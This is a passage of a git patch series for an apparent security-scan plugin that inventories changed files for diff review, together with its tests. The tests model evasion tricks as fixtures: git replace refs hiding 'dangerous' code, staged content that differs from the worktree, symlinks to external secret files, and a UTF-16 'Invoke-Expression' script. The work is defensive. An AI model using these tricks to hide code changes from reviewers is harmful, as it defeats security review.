Promise.all([ - mkdir(join(checkout, ".git"), { recursive: true }), - mkdir(join(nested, ".git"), { recursive: true }), - mkdir(unsafe, { recursive: true }), - mkdir(trusted), - ]); - await Promise.all([ - writeFile(join(unsafe, "git"), "#!/bin/sh\nexit 1\n", { - mode: 0o700, - }), - writeFile(join(trusted, "git"), "#!/bin/sh\nexit 0\n", { - mode: 0o700, - }), - ]); - - expect( - await resolveTrustedExecutable( - "git", - { PATH: [unsafe, trusted].join(delimiter) }, - nested, - ), - ).toEqual({ - executable: join(trusted, "git"), - environment: { PATH: trusted }, - }); - }, - ); - test("selects runnable Windows executables ahead of extensionless and batch files", async () => { const root = await temporaryDirectory(); const repository = join(root, "repository"); From b2ea38c2e9ca49285d32ac5b37d552f29e5060cd Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Wed, 5 Aug 2026 12:53:40 -0700 Subject: [PATCH 32/46] fix: inventory selected revision policy and action changes safely --- .../scripts/generate_rank_input.py | 86 +++++++- .../tests-ts/diff-rank-input.test.ts | 200 ++++++++++++------ 2 files changed, 216 insertions(+), 70 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index e965fa5d..910f8e62 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -334,6 +334,8 @@ def diff_path_is_security_relevant(path: Path) -> bool: def diff_path_is_included(path: Path) -> bool: if path.parts == ("docs", "CODEOWNERS"): return True + if path.parts[:2] == (".github", "actions"): + return ".git" not in path.parts if diff_path_is_security_relevant(path): return not any( part in EXCLUDED_DIRS and part not in {".github", ".circleci", ".devcontainer"} @@ -380,7 +382,10 @@ def confined_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[s except (OSError, ValueError): return "", False - data = sample + remaining + return diff_preview_data(path, sample + remaining, preview_bytes) + + +def diff_preview_data(path: Path, data: bytes, preview_bytes: int) -> tuple[str, bool]: if is_binary_sample(data): return "", True @@ -390,6 +395,62 @@ def confined_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[s return fit_preview_lines(preview_lines, preview_bytes), False +def revision_diff_preview( + repo: Path, path: Path, revision: str, preview_bytes: int +) -> tuple[str, bool]: + if path.exists() or path.is_symlink(): + current_preview, is_binary = confined_diff_preview(repo, path, preview_bytes) + if is_binary or not current_preview: + return "", is_binary + + relative = path.relative_to(repo).as_posix() + try: + with subprocess.Popen( + ["git", "-C", str(repo), "cat-file", "blob", f"{revision}:{relative}"], + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + ) as process: + if process.stdout is None: + return "", False + data = process.stdout.read(DIRECT_SCOPE_PREVIEW_READ_BYTES) + process.stdout.close() + if process.returncode and len(data) < DIRECT_SCOPE_PREVIEW_READ_BYTES: + return "", False + except (OSError, ValueError): + return "", False + return diff_preview_data(path, data, preview_bytes) + + +def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, str] | None: + relative = path.relative_to(repo).as_posix() + arguments = ( + ["ls-tree", "-z", head, "--", relative] + if mode == "revisions" + else ["ls-files", "--stage", "-z", "--", relative] + ) + result = subprocess.run( + ["git", "-C", str(repo), *arguments], check=True, capture_output=True, text=True + ) + if not result.stdout: + return None + fields = result.stdout.split("\0", 1)[0].split("\t", 1)[0].split() + return fields[0], fields[2] if mode == "revisions" else fields[1] + + +def require_reviewable_diff_path(repo: Path, path: Path) -> None: + if not path.exists() and not path.is_symlink(): + return + try: + if path.is_symlink() or not path.is_file(): + raise ValueError + path.resolve(strict=True).relative_to(repo) + except (OSError, ValueError): + raise SystemExit( + "Changed diff paths must not contain symbolic links or non-regular files: " + + path.relative_to(repo).as_posix() + ) from None + + def resolve_scope(repo: Path, scope: str, *, expand_user: bool = True) -> Path: scope_path = Path(scope).expanduser() if expand_user else Path(scope) if not scope_path.is_absolute(): @@ -629,7 +690,10 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, status = fields[index][0] index += 1 if status in {"C", "R"}: + source = repo / fields[index] index += 1 + if status == "R" and diff_path_is_security_relevant(source.relative_to(repo)): + changed.append((source, "D")) path = repo / fields[index] index += 1 changed.append((path, status)) @@ -671,9 +735,23 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if status in {"D", "U"}: preview = "" else: - preview, is_binary = confined_diff_preview(repo, path, args.preview_bytes) - if is_binary: - continue + entry = git_diff_entry(repo, path, args.mode, args.head) + if entry is not None and entry[0] == "160000": + preview = f"Git submodule commit {entry[1]}" + else: + if entry is not None and entry[0] == "120000": + raise SystemExit( + "Changed diff paths must not contain symbolic links: " + rel.as_posix() + ) + require_reviewable_diff_path(repo, path) + preview, is_binary = ( + revision_diff_preview(repo, path, args.head, args.preview_bytes) + if args.mode == "revisions" + else confined_diff_preview(repo, path, args.preview_bytes) + ) + require_reviewable_diff_path(repo, path) + if is_binary: + continue rows.append({"path": rel.as_posix(), "area": args.area, "preview": preview}) rows.sort(key=lambda row: str(row["path"])) diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index e05e1969..27e9818f 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -96,6 +96,7 @@ async function runDiffRankInput( fixture: TestRepository, mode: DiffMode, swap?: PathSwap, + head = "HEAD", ): Promise { const interpreter = Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); @@ -118,7 +119,7 @@ async function runDiffRankInput( "--mode", mode, "--head", - "HEAD", + head, "--out", output, ]; @@ -342,43 +343,134 @@ describe("diff rank input", () => { expect(rows[0]?.preview.length).toBeGreaterThan(0); }); + test("previews revision changes from their selected head instead of the current checkout", async () => { + const fixture = await createRepository(); + await Promise.all([ + writeRepositoryFile( + fixture.repository, + "AGENTS.md", + "Require the head-only authorization policy.\n", + ), + writeRepositoryFile( + fixture.repository, + "SECURITY.md", + "Review the head-only credential boundary.\n", + ), + ]); + git(fixture.repository, "add", "AGENTS.md", "SECURITY.md"); + git(fixture.repository, "commit", "-qm", "change security policy"); + const head = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "checkout", "--quiet", fixture.base); + + const rows = await runDiffRankInput(fixture, "revisions", undefined, head); + + expect(rows).toEqual([ + { + path: "AGENTS.md", + area: "diff", + preview: "Require the head-only authorization policy.", + }, + { + path: "SECURITY.md", + area: "diff", + preview: "Review the head-only credential boundary.", + }, + ]); + }); + + test("keeps security-relevant rename sources when destinations are excluded", async () => { + const fixture = await createRepository(); + await mkdir(join(fixture.repository, "docs")); + await rename( + join(fixture.repository, "AGENTS.md"), + join(fixture.repository, "docs", "archived-policy.md"), + ); + git(fixture.repository, "add", "-A"); + git(fixture.repository, "commit", "-qm", "archive active security policy"); + + expect(await runDiffRankInput(fixture, "revisions")).toEqual([ + { path: "AGENTS.md", area: "diff", preview: "" }, + ]); + }); + + test("includes checked-in executable payloads from local GitHub actions", async () => { + const fixture = await createRepository(); + const payloads = [ + ".github/actions/local/dist/index.js", + ".github/actions/local/node_modules/pkg/index.js", + ]; + await Promise.all( + payloads.map((path) => + writeRepositoryFile(fixture.repository, path, "runTrustedAction();\n"), + ), + ); + git(fixture.repository, "add", "--force", ...payloads); + git(fixture.repository, "commit", "-qm", "check in local action payloads"); + + expect( + (await runDiffRankInput(fixture, "revisions")).map(({ path }) => path), + ).toEqual(payloads); + }); + + test("records the pinned commit for local-action submodules", async () => { + const fixture = await createRepository(); + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${fixture.base},.github/actions/local`, + ); + git(fixture.repository, "commit", "-qm", "pin local action submodule"); + + expect(await runDiffRankInput(fixture, "revisions")).toEqual([ + { + path: ".github/actions/local", + area: "diff", + preview: `Git submodule commit ${fixture.base}`, + }, + ]); + }); + + test.skipIf(process.platform === "win32")( + "refuses to assign changed workflow symlinks to deep reviewers", + async () => { + const fixture = await createRepository(); + const externalFile = join(fixture.root, "external-workflow.yml"); + await writeFile(externalFile, "name: external secret\n"); + await mkdir(join(fixture.repository, ".github", "workflows"), { + recursive: true, + }); + await symlink( + externalFile, + join(fixture.repository, ".github", "workflows", "deploy.yml"), + ); + git(fixture.repository, "add", ".github/workflows/deploy.yml"); + + await expect(runDiffRankInput(fixture, "local-patch")).rejects.toThrow( + /symbolic links/, + ); + }, + ); + test.skipIf(process.platform === "win32")( - "never previews committed symlinks or repository paths escaping through a symlinked parent", + "refuses repository paths escaping through a symlinked parent", async () => { const fixture = await createRepository(); const canary = "CODEX_SECURITY_SYNTHETIC_EXTERNAL_SECRET_7e98526d"; - const externalFile = join(fixture.root, "external-canary.py"); const externalDirectory = join(fixture.root, "external-directory"); + const externalFile = join(externalDirectory, "escaped.py"); await mkdir(externalDirectory); await Promise.all([ writeFile(externalFile, `secret = '${canary}'\n`), - writeFile( - join(externalDirectory, "escaped.py"), - `secret = '${canary}'\n`, - ), writeRepositoryFile( fixture.repository, "src/parent/escaped.py", "print('safe committed source')\n", ), - writeRepositoryFile( - fixture.repository, - "src/app.ts", - "export const value = 2;\n", - ), - mkdir(join(fixture.repository, ".github", "workflows"), { - recursive: true, - }), - ]); - await Promise.all([ - symlink(externalFile, join(fixture.repository, "src", "linked.py")), - symlink( - externalFile, - join(fixture.repository, ".github", "workflows", "linked.yml"), - ), ]); git(fixture.repository, "add", "-A"); - git(fixture.repository, "commit", "-qm", "add changed symlinks"); + git(fixture.repository, "commit", "-qm", "add changed source"); await rm(join(fixture.repository, "src", "parent"), { recursive: true, @@ -390,28 +482,15 @@ describe("diff rank input", () => { "dir", ); - const rows = await runDiffRankInput(fixture, "revisions"); - - expect(rows.map((row) => row.path)).toEqual( - [ - ".github/workflows/linked.yml", - "src/app.ts", - "src/linked.py", - "src/parent/escaped.py", - ].sort(), + await expect(runDiffRankInput(fixture, "revisions")).rejects.toThrow( + /symbolic links/, ); - expect( - rows - .filter((row) => row.path !== "src/app.ts") - .every((row) => row.preview === ""), - ).toBe(true); - expect(JSON.stringify(rows)).not.toContain(canary); expect(await readFile(externalFile, "utf8")).toContain(canary); }, ); test.skipIf(process.platform === "win32")( - "never previews staged symlinks in a local patch", + "refuses staged symlinks in a local patch", async () => { const fixture = await createRepository(); const canary = "CODEX_SECURITY_SYNTHETIC_LOCAL_PATCH_SECRET_ef9b01d2"; @@ -425,22 +504,15 @@ describe("diff rank input", () => { "export const value = 2;\n", ); - const rows = await runDiffRankInput(fixture, "local-patch"); - - expect(rows.map((row) => row.path)).toEqual([ - "src/app.ts", - "src/linked.py", - ]); - expect(rows.find((row) => row.path === "src/linked.py")?.preview).toBe( - "", + await expect(runDiffRankInput(fixture, "local-patch")).rejects.toThrow( + /symbolic links/, ); - expect(JSON.stringify(rows)).not.toContain(canary); expect(await readFile(externalFile, "utf8")).toContain(canary); }, ); test.skipIf(process.platform === "win32")( - "inventories tracked files replaced with symlinks in committed and local diffs", + "refuses tracked files replaced with symlinks in committed and local diffs", async () => { for (const mode of ["revisions", "local-patch"] as const) { const fixture = await createRepository(); @@ -461,12 +533,9 @@ describe("diff rank input", () => { ); } - const rows = await runDiffRankInput(fixture, mode); - - expect(rows).toEqual([ - { path: "src/app.ts", area: "diff", preview: "" }, - ]); - expect(JSON.stringify(rows)).not.toContain(canary); + await expect(runDiffRankInput(fixture, mode)).rejects.toThrow( + /symbolic links/, + ); expect(await readFile(externalFile, "utf8")).toContain(canary); } }, @@ -487,19 +556,18 @@ describe("diff rank input", () => { git(fixture.repository, "add", "src/app.ts"); git(fixture.repository, "commit", "-qm", "update reviewed source"); - const rows = await runDiffRankInput(fixture, "revisions", { - path: "src/app.ts", - replacement: externalFile, - }); - - expect(rows).toEqual([{ path: "src/app.ts", area: "diff", preview: "" }]); - expect(JSON.stringify(rows)).not.toContain(canary); + await expect( + runDiffRankInput(fixture, "revisions", { + path: "src/app.ts", + replacement: externalFile, + }), + ).rejects.toThrow(/symbolic links/); expect(await readFile(externalFile, "utf8")).toContain(canary); }, ); test.skipIf(process.platform === "win32")( - "inventories a changed FIFO without blocking or reading it", + "refuses a changed FIFO without blocking or reading it", async () => { const fixture = await createRepository(); await writeRepositoryFile( @@ -514,9 +582,9 @@ describe("diff rank input", () => { await rm(trackedFile); execFileSync("mkfifo", [trackedFile], { stdio: "pipe" }); - const rows = await runDiffRankInput(fixture, "revisions"); - - expect(rows).toEqual([{ path: "src/app.ts", area: "diff", preview: "" }]); + await expect(runDiffRankInput(fixture, "revisions")).rejects.toThrow( + /non-regular files/, + ); }, ); From 6be98357e4d0b1b228b067354cf4b47fe68ab9e2 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 11:29:56 -0700 Subject: [PATCH 33/46] Keep staged pins for uninitialized action submodules --- .../scripts/generate_rank_input.py | 7 ++++-- .../tests-ts/diff-rank-input.test.ts | 24 +++++++++++++++++++ 2 files changed, 29 insertions(+), 2 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index a2361989..04c214f3 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -447,14 +447,17 @@ def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, s try: path.resolve(strict=True).relative_to(repo) worktree = subprocess.run( - ["git", "-C", str(path), "rev-parse", "--verify", "HEAD"], + ["git", "-C", str(path), "rev-parse", "--show-toplevel", "--verify", "HEAD"], check=True, capture_output=True, text=True, ) except (OSError, ValueError, subprocess.CalledProcessError): return fields[0], revision - revision = worktree.stdout.strip() + lines = worktree.stdout.splitlines() + if len(lines) != 2 or Path(lines[0]).resolve() != path.resolve(): + return fields[0], revision + revision = lines[1] return fields[0], revision diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 80aefb15..ecbdaa32 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -513,6 +513,30 @@ describe("diff rank input", () => { ]); }); + test("keeps staged gitlink pins when the local action is uninitialized", async () => { + const fixture = await createRepository(); + const pin = fixture.base; + git(fixture.repository, "commit", "--allow-empty", "-qm", "advance parent"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + const submodule = join(fixture.repository, ".github", "actions", "local"); + await mkdir(submodule, { recursive: true }); + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${pin},.github/actions/local`, + ); + + expect(await runDiffRankInput(fixture, "local-patch")).toEqual([ + { + path: ".github/actions/local", + area: "diff", + preview: `Git submodule commit ${pin}`, + }, + ]); + }); + test.skipIf(process.platform === "win32")( "refuses to assign changed workflow symlinks to deep reviewers", async () => { From f7dc29ea8590d0a5b3b61021e55eb1dc118c01a5 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 11:41:15 -0700 Subject: [PATCH 34/46] Bind staged, deleted, and encoded diff sources to exact Git objects --- .../scripts/generate_rank_input.py | 87 ++++++++++++--- .../references/scan-artifacts-and-ledger.md | 1 + .../tests-ts/diff-rank-input.test.ts | 104 +++++++++++++++++- 3 files changed, 173 insertions(+), 19 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 04c214f3..cbab0bc2 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -345,7 +345,7 @@ def diff_path_is_security_relevant(path: Path) -> bool: def diff_path_is_included(path: Path) -> bool: - if path.parts == ("docs", "CODEOWNERS"): + if path.parts in {("docs", "CODEOWNERS"), ("docs", "SECURITY.md")}: return True if path.parts[:2] == (".github", "actions"): return ".git" not in path.parts @@ -388,7 +388,7 @@ def confined_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[s return "", False sample = source.read(4096) - if is_binary_sample(sample): + if is_binary_sample(sample) and not sample.startswith((b"\xff\xfe", b"\xfe\xff")): return "", True remaining = source.read(max(0, DIRECT_SCOPE_PREVIEW_READ_BYTES - len(sample))) @@ -399,22 +399,23 @@ def confined_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[s def diff_preview_data(path: Path, data: bytes, preview_bytes: int) -> tuple[str, bool]: - if is_binary_sample(data): + utf16 = data.startswith((b"\xff\xfe", b"\xfe\xff")) + if is_binary_sample(data) and not utf16: return "", True - text = data.decode("utf-8", errors="ignore") + text = data.decode("utf-16" if utf16 else "utf-8", errors="ignore") outline = structural_outline(path, text) - preview_lines = select_preview_lines(outline or text.splitlines()) + source_lines = text.splitlines() if path.suffix.lower() in {".yml", ".yaml"} else outline + preview_lines = select_preview_lines(source_lines or text.splitlines()) return fit_preview_lines(preview_lines, preview_bytes), False -def revision_diff_preview( - repo: Path, path: Path, revision: str, preview_bytes: int +def git_blob_preview( + repo: Path, path: Path, object_name: str, preview_bytes: int ) -> tuple[str, bool]: - relative = path.relative_to(repo).as_posix() try: with subprocess.Popen( - ["git", "-C", str(repo), "cat-file", "blob", f"{revision}:{relative}"], + ["git", "--no-replace-objects", "-C", str(repo), "cat-file", "blob", object_name], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, ) as process: @@ -429,6 +430,47 @@ def revision_diff_preview( return diff_preview_data(path, data, preview_bytes) +def revision_diff_preview( + repo: Path, path: Path, revision: str, preview_bytes: int +) -> tuple[str, bool]: + relative = path.relative_to(repo).as_posix() + return git_blob_preview(repo, path, f"{revision}:{relative}", preview_bytes) + + +def local_patch_preview( + repo: Path, path: Path, entry: tuple[str, str] | None, preview_bytes: int +) -> tuple[str, bool]: + worktree_preview, worktree_binary = confined_diff_preview(repo, path, preview_bytes) + if entry is None: + return worktree_preview, worktree_binary + + relative = path.relative_to(repo).as_posix() + comparison = subprocess.run( + ["git", "--no-replace-objects", "-C", str(repo), "diff", "--quiet", "--no-ext-diff", "--", relative], + check=False, + stdout=subprocess.DEVNULL, + stderr=subprocess.PIPE, + ) + if comparison.returncode == 0: + return worktree_preview, worktree_binary + if comparison.returncode != 1: + raise SystemExit(f"Could not compare staged and working-tree contents: {relative}") + + staged_preview, staged_binary = git_blob_preview(repo, path, f":{relative}", preview_bytes) + if staged_binary and worktree_binary: + return "", True + preview = fit_preview_lines( + [ + "Staged Git index:", + staged_preview or "(binary content)", + "Worktree:", + worktree_preview or "(binary content)", + ], + preview_bytes, + ) + return preview, False + + def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, str] | None: relative = path.relative_to(repo).as_posix() arguments = ( @@ -437,7 +479,10 @@ def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, s else ["ls-files", "--stage", "-z", "--", relative] ) result = subprocess.run( - ["git", "-C", str(repo), *arguments], check=True, capture_output=True, text=True + ["git", "--no-replace-objects", "-C", str(repo), *arguments], + check=True, + capture_output=True, + text=True, ) if not result.stdout: return None @@ -447,7 +492,7 @@ def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, s try: path.resolve(strict=True).relative_to(repo) worktree = subprocess.run( - ["git", "-C", str(path), "rev-parse", "--show-toplevel", "--verify", "HEAD"], + ["git", "--no-replace-objects", "-C", str(path), "rev-parse", "--show-toplevel", "--verify", "HEAD"], check=True, capture_output=True, text=True, @@ -457,7 +502,8 @@ def git_diff_entry(repo: Path, path: Path, mode: str, head: str) -> tuple[str, s lines = worktree.stdout.splitlines() if len(lines) != 2 or Path(lines[0]).resolve() != path.resolve(): return fields[0], revision - revision = lines[1] + if revision != lines[1]: + revision = f"{revision} (staged); {lines[1]} (worktree)" return fields[0], revision @@ -767,6 +813,7 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, result = subprocess.run( [ "git", + "--no-replace-objects", "-C", str(repo), "diff", @@ -814,7 +861,7 @@ def git_changed_paths(repo: Path, base: str, head: str, mode: str) -> list[tuple combined = dict(staged) combined.update(unstaged) untracked = subprocess.run( - ["git", "-C", str(repo), "ls-files", "--others", "--exclude-standard", "-z"], + ["git", "--no-replace-objects", "-C", str(repo), "ls-files", "--others", "--exclude-standard", "-z"], check=True, capture_output=True, text=True, @@ -837,7 +884,17 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if not diff_path_is_included(rel): continue - if status in {"D", "U"}: + if status == "D": + entry = git_diff_entry(repo, path, "revisions", args.base) + if entry is not None and entry[0] == "160000": + preview = f"Deleted Git submodule commit {entry[1]}" + else: + preview, is_binary = revision_diff_preview( + repo, path, args.base, args.preview_bytes + ) + if is_binary: + continue + elif status == "U": preview = "" else: entry = git_diff_entry(repo, path, args.mode, args.head) @@ -852,7 +909,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: preview, is_binary = ( revision_diff_preview(repo, path, args.head, args.preview_bytes) if args.mode == "revisions" - else confined_diff_preview(repo, path, args.preview_bytes) + else local_patch_preview(repo, path, entry, args.preview_bytes) ) require_reviewable_diff_path(repo, path) if is_binary: diff --git a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md index cd2face0..5977a4fb 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md +++ b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md @@ -58,6 +58,7 @@ The parent agent must reconcile validation and attack-path subagent outputs befo - Use `deep_review_input.jsonl` as the canonical changed-file review worklist for diff scans. - For diff-scoped scans, generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch, then copy every row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl`. - Diff-scoped scans do not rank or drop changed files before deep review. Every row in diff `rank_input.jsonl` must be copied into `deep_review_input.jsonl` and receive a full-file review receipt. +- For deleted revision paths, read the complete selected base blob with `git --no-replace-objects show ":"`. When a local-patch preview distinguishes the staged Git index from the worktree, review both `git --no-replace-objects show ":"` and the current file in full; inspect both staged and worktree submodule pins when they differ. - Add directly supporting files required to understand the changed security behavior only when repository evidence shows they are needed; record the add-back reason in the work ledger or per-file result. - Deep-review every file selected into `deep_review_input.jsonl`. - Use `/work_ledger.jsonl` as the append-only record of claims and completions, and reconcile it against `deep_review_input.jsonl` so rows are not skipped or double-counted. diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index ecbdaa32..eeabcdbc 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -194,6 +194,7 @@ describe("diff rank input", () => { "docs/AGENTS.md": "Example instructions, not executable repository scope.\n", "docs/CODEOWNERS": "* @documentation-owners\n", + "docs/SECURITY.md": "Report repository vulnerabilities privately.\n", "infra/main.tf": 'resource "example" "service" {}\n', "infra/variables.hcl": 'environment = "production"\n', "node_modules/AGENTS.md": "External dependency instructions.\n", @@ -254,6 +255,7 @@ describe("diff rank input", () => { "config/nginx.conf", "docker-compose.yml", "docs/CODEOWNERS", + "docs/SECURITY.md", "infra/main.tf", "infra/variables.hcl", "policy/security.rego", @@ -409,6 +411,35 @@ describe("diff rank input", () => { ]); }); + test("does not apply repository replacement refs to selected revision content", async () => { + const fixture = await createRepository(); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "dangerous();\n", + ); + git(fixture.repository, "add", "src/app.ts"); + git(fixture.repository, "commit", "-qm", "record actual head"); + const head = git(fixture.repository, "rev-parse", "HEAD"); + await writeRepositoryFile(fixture.repository, "src/app.ts", "safe();\n"); + git(fixture.repository, "add", "src/app.ts"); + const replacementTree = git(fixture.repository, "write-tree"); + const replacement = git( + fixture.repository, + "commit-tree", + replacementTree, + "-p", + fixture.base, + "-m", + "substitute safe source", + ); + git(fixture.repository, "replace", head, replacement); + + expect( + await runDiffRankInput(fixture, "revisions", undefined, head), + ).toEqual([{ path: "src/app.ts", area: "diff", preview: "dangerous();" }]); + }); + test("keeps security-relevant rename sources when destinations are excluded", async () => { const fixture = await createRepository(); await mkdir(join(fixture.repository, "docs")); @@ -420,7 +451,11 @@ describe("diff rank input", () => { git(fixture.repository, "commit", "-qm", "archive active security policy"); expect(await runDiffRankInput(fixture, "revisions")).toEqual([ - { path: "AGENTS.md", area: "diff", preview: "" }, + { + path: "AGENTS.md", + area: "diff", + preview: "Follow the existing policy.", + }, ]); }); @@ -435,7 +470,7 @@ describe("diff rank input", () => { git(fixture.repository, "commit", "-qm", "archive reviewable source"); expect(await runDiffRankInput(fixture, "revisions")).toEqual([ - { path: "src/old.py", area: "diff", preview: "" }, + { path: "src/old.py", area: "diff", preview: "print('rename')" }, ]); }); @@ -458,6 +493,29 @@ describe("diff rank input", () => { ).toEqual(payloads); }); + test("keeps executable UTF-16 local-action scripts reviewable", async () => { + const fixture = await createRepository(); + const script = ".github/actions/local/run.ps1"; + await writeRepositoryFile( + fixture.repository, + script, + Buffer.concat([ + Buffer.from([0xff, 0xfe]), + Buffer.from("Invoke-Expression $command\n", "utf16le"), + ]), + ); + git(fixture.repository, "add", script); + git(fixture.repository, "commit", "-qm", "add PowerShell action"); + + expect(await runDiffRankInput(fixture, "revisions")).toEqual([ + { + path: script, + area: "diff", + preview: "Invoke-Expression $command", + }, + ]); + }); + test("records the pinned commit for local-action submodules", async () => { const fixture = await createRepository(); git( @@ -508,7 +566,17 @@ describe("diff rank input", () => { { path: ".github/actions/local", area: "diff", - preview: `Git submodule commit ${unstaged}`, + preview: `Git submodule commit ${staged} (staged); ${unstaged} (worktree)`, + }, + ]); + + git(fixture.repository, "add", "--", ".github/actions/local"); + git(submodule, "checkout", "--quiet", staged); + expect(await runDiffRankInput(fixture, "local-patch")).toEqual([ + { + path: ".github/actions/local", + area: "diff", + preview: `Git submodule commit ${unstaged} (staged); ${staged} (worktree)`, }, ]); }); @@ -558,6 +626,30 @@ describe("diff rank input", () => { }, ); + test("exposes both staged and working-tree source when they differ", async () => { + const fixture = await createRepository(); + const workflow = ".github/workflows/deploy.yml"; + await writeRepositoryFile( + fixture.repository, + workflow, + "run: stagedDangerousCommand\n", + ); + git(fixture.repository, "add", workflow); + await writeRepositoryFile( + fixture.repository, + workflow, + "run: worktreeSafeCommand\n", + ); + + const rows = await runDiffRankInput(fixture, "local-patch"); + expect(rows).toHaveLength(1); + expect(rows[0]).toMatchObject({ path: workflow, area: "diff" }); + expect(rows[0]?.preview).toContain("Staged Git index:"); + expect(rows[0]?.preview).toContain("stagedDangerousCommand"); + expect(rows[0]?.preview).toContain("Worktree:"); + expect(rows[0]?.preview).toContain("worktreeSafeCommand"); + }); + test.skipIf(process.platform === "win32")( "refuses repository paths escaping through a symlinked parent", async () => { @@ -706,7 +798,11 @@ describe("diff rank input", () => { const rows = await runDiffRankInput(fixture, "revisions"); expect(rows).toEqual([ - { path: "src/remove.py", area: "diff", preview: "" }, + { + path: "src/remove.py", + area: "diff", + preview: "print('remove')", + }, { path: "src/renamed.py", area: "diff", From 030bf7fcfce44131d24d8bd5c9df515fe9117ae2 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 11:49:24 -0700 Subject: [PATCH 35/46] Bind full revision reviews to immutable selected commits --- .../references/scan-artifacts-and-ledger.md | 2 +- .../tests-ts/diff-rank-input.test.ts | 19 +++++++++++++++++++ 2 files changed, 20 insertions(+), 1 deletion(-) diff --git a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md index 5977a4fb..da4088ad 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md +++ b/sdk/typescript/_bundled_plugin/skills/security-scan/references/scan-artifacts-and-ledger.md @@ -58,7 +58,7 @@ The parent agent must reconcile validation and attack-path subagent outputs befo - Use `deep_review_input.jsonl` as the canonical changed-file review worklist for diff scans. - For diff-scoped scans, generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch, then copy every row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl`. - Diff-scoped scans do not rank or drop changed files before deep review. Every row in diff `rank_input.jsonl` must be copied into `deep_review_input.jsonl` and receive a full-file review receipt. -- For deleted revision paths, read the complete selected base blob with `git --no-replace-objects show ":"`. When a local-patch preview distinguishes the staged Git index from the worktree, review both `git --no-replace-objects show ":"` and the current file in full; inspect both staged and worktree submodule pins when they differ. +- For revision-mode paths, read every nondeleted file in full from its selected head with `git --no-replace-objects show ":"`; read deleted files from their selected base with `git --no-replace-objects show ":"`. Never substitute the current checkout for either immutable revision. When a local-patch preview distinguishes the staged Git index from the worktree, review both `git --no-replace-objects show ":"` and the current file in full; inspect both staged and worktree submodule pins when they 